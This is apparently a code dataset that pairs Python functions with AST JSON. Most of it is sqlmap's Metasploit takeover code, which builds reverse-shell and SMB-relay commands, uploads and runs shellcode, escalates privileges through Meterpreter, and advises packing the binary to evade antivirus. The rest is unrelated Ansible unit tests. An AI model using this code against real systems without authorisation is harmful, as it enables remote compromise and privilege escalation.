[ 0.04436809942126274, 0.02759126015007496, 0.053685884922742844, -0.010313531383872032, -0.015569871291518211, -0.0034277858212590218, -0.010530785657465458, -0.013662864454090595, 0.0515616200864315, 0.014205999672412872, 0.023741036653518677, -0.013083520345389843, 0.02662568725645542, 0....
10
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{"id": "extra", "ctx": {"_type": "Load", "_fields": {}}}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": null}}]}}, "orelse": []}}], "test": {"_type": "Compare", "_fields": {"ops": [{"_type": "Eq", "_fields": {}}], "left": {"_type": "Name", "_fields": {"id": "extra", "ctx": {"_type": "Load", "_fields": {}}}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": "BufferRegister=EAX"}}]}}, "orelse": [{"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": " X > \"%s\""}}, "right": {"_type": "Name", "_fields": {"id": "outFile", "ctx": {"_type": "Load", "_fields": {}}}}}}, "target": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_payloadCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}]}}], 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def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr) self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile
862
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9
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"_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "lhostStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "target": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_cliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, {"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": " SRVPORT=%s"}}, "right": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_selectSMBPort", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, "target": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_cliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, {"_type": "If", "_fields": {"body": [{"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": " RHOST=%s"}}, "right": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "rhostStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "target": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_cliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}], "test": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "bind"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "startswith", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "connectionStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}, "orelse": [{"_type": "If", "_fields": {"body": [{"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": " LHOST=%s"}}, "right": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "lhostStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "target": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_cliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}], "test": {"_type": "Call", "_fields": {"args": [{"_type": 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"Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}], "name": "_forgeMsfCliCmdForSmbrelay", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % self.lhostStr self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += " E"
863
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8
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def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
864
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8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "exitfunc", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "exitfunc", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_forgeMsfCliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, {"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "running Metasploit Framework command line "}}, "targets": [{"_type": "Name", "_fields": {"id": "infoMsg", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "Constant", "_fields": {"kind": null, "value": "interface locally, please wait.."}}, "target": {"_type": "Name", "_fields": {"id": "infoMsg", "ctx": {"_type": "Store", "_fields": {}}}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "infoMsg", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "info", "value": {"_type": "Name", "_fields": {"id": "logger", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": "executing local command: %s"}}, "right": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_cliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "debug", "value": {"_type": "Name", "_fields": {"id": "logger", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, {"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_cliCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "func": {"_type": "Name", "_fields": {"id": "execute", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "shell", "value": {"_type": "Constant", "_fields": {"kind": null, "value": true}}}}, {"_type": "keyword", "_fields": {"arg": "stdin", "value": {"_type": "Name", "_fields": {"id": "PIPE", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "keyword", "_fields": {"arg": "stdout", "value": {"_type": "Name", "_fields": {"id": "PIPE", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "keyword", "_fields": {"arg": "stderr", "value": {"_type": "Name", "_fields": {"id": "PIPE", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "keyword", "_fields": {"arg": "close_fds", "value": {"_type": "Constant", "_fields": {"kind": null, "value": false}}}}]}}, "targets": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_msfCliProc", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "type_comment": null}}], "name": "_runMsfCli", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
865
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def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7 #send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems #send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n")
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def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True)
867
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def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = "" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search("session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) if conf.liveTest and timeout: if initialized: send_all(proc, "exit\n") time.sleep(2) else: proc.kill() except (EOFError, IOError): return proc.returncode
868
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11
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def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) self._randStr = randomStr(lowercase=True) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) Metasploit._initVars(self) self._prepareIngredients(encode=encode) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": payloadSize = payloadSize / 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") self.shellcodeString = self._shellcodeFP.read() self._shellcodeFP.close() os.unlink(self._shellcodeFilePath)
869
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def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote)
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def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile shellcodeexec with " errMsg += "slight modification to the source code or pack it " errMsg += "with an obfuscator software" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True
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def bof(self): self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg)
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{"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_randFile", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}}}, "targets": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "uncPath", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "type_comment": null}}]}}, {"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "Metasploit Framework console exited with return "}}, "targets": [{"_type": "Name", "_fields": {"id": "debugMsg", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": "code %s"}}, "right": {"_type": "Call", "_fields": {"args": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_msfCliProc", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "uncPathRequest", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_controlMsfCmd", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, "target": {"_type": "Name", "_fields": {"id": "debugMsg", "ctx": {"_type": "Store", "_fields": {}}}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "debugMsg", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "debug", "value": {"_type": "Name", "_fields": {"id": "logger", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "name": "smb", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def smb(self): Metasploit._initVars(self) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg)
873
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7
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def test_basic_manager(self): fake_loader = DictDataLoader({}) v = VariableManager() vars = v.get_vars(loader=fake_loader, use_cache=False) if 'omit' in vars: del vars['omit'] if 'vars' in vars: del vars['vars'] if 'ansible_version' in vars: del vars['ansible_version'] self.assertEqual(vars, dict(playbook_dir='.'))
874
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9
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def test_variable_manager_extra_vars(self): fake_loader = DictDataLoader({}) extra_vars = dict(a=1, b=2, c=3) v = VariableManager() v.extra_vars = extra_vars vars = v.get_vars(loader=fake_loader, use_cache=False) for (key, val) in iteritems(extra_vars): self.assertEqual(vars.get(key), val) self.assertIsNot(v.extra_vars, extra_vars)
875
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8
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"_fields": {"kind": null, "value": "\n baa: bat\n "}}, {"_type": "Constant", "_fields": {"kind": null, "value": "\n group_with_dots: true\n "}}]}}], "func": {"_type": "Name", "_fields": {"id": "DictDataLoader", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "targets": [{"_type": "Name", "_fields": {"id": "fake_loader", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "VariableManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "targets": [{"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "group_vars/all.yml"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "add_group_vars_file", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "loader", "value": {"_type": "Name", "_fields": {"id": "fake_loader", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "group_vars/somegroup.yml"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "add_group_vars_file", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "loader", "value": {"_type": "Name", "_fields": {"id": "fake_loader", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "other_path/group_vars/somegroup.yml"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "add_group_vars_file", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "loader", "value": {"_type": "Name", "_fields": {"id": "fake_loader", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "somegroup"}}, {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_group_vars_files", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "assertIn", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Subscript", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "slice": {"_type": "Constant", "_fields": {"kind": null, "value": "all"}}, "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_group_vars_files", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "dict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "foo", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "bar"}}}}]}}]}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "assertEqual", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": 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{}}, "attr": "add_group_vars_file", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "loader", "value": {"_type": "Name", "_fields": {"id": "fake_loader", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Subscript", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "slice": {"_type": "Constant", "_fields": {"kind": null, "value": "some.group"}}, "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_group_vars_files", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "dict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": 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def test_variable_manager_group_vars_file(self): fake_loader = DictDataLoader({ "group_vars/all.yml": """ foo: bar """, "group_vars/somegroup.yml": """ bam: baz """, "other_path/group_vars/somegroup.yml": """ baa: bat """, "group_vars/some.group.yml": """ group_with_dots: true """, }) v = VariableManager() v.add_group_vars_file("group_vars/all.yml", loader=fake_loader) v.add_group_vars_file("group_vars/somegroup.yml", loader=fake_loader) v.add_group_vars_file("other_path/group_vars/somegroup.yml", loader=fake_loader) self.assertIn("somegroup", v._group_vars_files) self.assertEqual(v._group_vars_files["all"], [dict(foo="bar")]) self.assertEqual(v._group_vars_files["somegroup"], [dict(bam="baz"), dict(baa="bat")]) mock_group = MagicMock() mock_group.name = "somegroup" mock_group.get_ancestors.return_value = () mock_group.get_vars.return_value = dict() mock_host = MagicMock() mock_host.get_name.return_value = "hostname1" mock_host.get_vars.return_value = dict() mock_host.get_groups.return_value = (mock_group,) mock_host.get_group_vars.return_value = dict() vars = v.get_vars(loader=fake_loader, host=mock_host, use_cache=False) self.assertEqual(vars.get("foo"), "bar") self.assertEqual(vars.get("baa"), "bat") v.add_group_vars_file("group_vars/some.group", loader=fake_loader) self.assertEqual(v._group_vars_files["some.group"], [dict(group_with_dots=True)])
876
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10
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{"_type": "Load", "_fields": {}}}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "loader", "value": {"_type": "Name", "_fields": {"id": "fake_loader", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Subscript", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "slice": {"_type": "Constant", "_fields": {"kind": null, "value": "host.name"}}, "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_host_vars_files", "value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "dict", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "host_with_dots", "value": {"_type": "Constant", "_fields": {"kind": null, "value": true}}}}]}}]}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "assertEqual", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "name": "test_variable_manager_host_vars_file", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def test_variable_manager_host_vars_file(self): fake_loader = DictDataLoader({ "host_vars/hostname1.yml": """ foo: bar """, "other_path/host_vars/hostname1.yml": """ foo: bam baa: bat """, "host_vars/host.name.yml": """ host_with_dots: true """, }) v = VariableManager() v.add_host_vars_file("host_vars/hostname1.yml", loader=fake_loader) v.add_host_vars_file("other_path/host_vars/hostname1.yml", loader=fake_loader) self.assertIn("hostname1", v._host_vars_files) self.assertEqual(v._host_vars_files["hostname1"], [dict(foo="bar"), dict(foo="bam", baa="bat")]) mock_host = MagicMock() mock_host.get_name.return_value = "hostname1" mock_host.get_vars.return_value = dict() mock_host.get_groups.return_value = () mock_host.get_group_vars.return_value = dict() self.assertEqual(v.get_vars(loader=fake_loader, host=mock_host, use_cache=False).get("foo"), "bam") self.assertEqual(v.get_vars(loader=fake_loader, host=mock_host, use_cache=False).get("baa"), "bat") v.add_host_vars_file("host_vars/host.name", loader=fake_loader) self.assertEqual(v._host_vars_files["host.name"], [dict(host_with_dots=True)])
877
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10
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def test_variable_manager_play_vars(self): fake_loader = DictDataLoader({}) mock_play = MagicMock() mock_play.get_vars.return_value = dict(foo="bar") mock_play.get_roles.return_value = [] mock_play.get_vars_files.return_value = [] v = VariableManager() self.assertEqual(v.get_vars(loader=fake_loader, play=mock_play, use_cache=False).get("foo"), "bar")
878
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10
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def test_variable_manager_play_vars_files(self): fake_loader = DictDataLoader({ "/path/to/somefile.yml": """ foo: bar """ }) mock_play = MagicMock() mock_play.get_vars.return_value = dict() mock_play.get_roles.return_value = [] mock_play.get_vars_files.return_value = ['/path/to/somefile.yml'] v = VariableManager() self.assertEqual(v.get_vars(loader=fake_loader, play=mock_play, use_cache=False).get("foo"), "bar")
879
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10
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def test_variable_manager_task_vars(self): fake_loader = DictDataLoader({}) mock_task = MagicMock() mock_task._role = None mock_task.loop = None mock_task.get_vars.return_value = dict(foo="bar") v = VariableManager() self.assertEqual(v.get_vars(loader=fake_loader, task=mock_task, use_cache=False).get("foo"), "bar")
880
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9
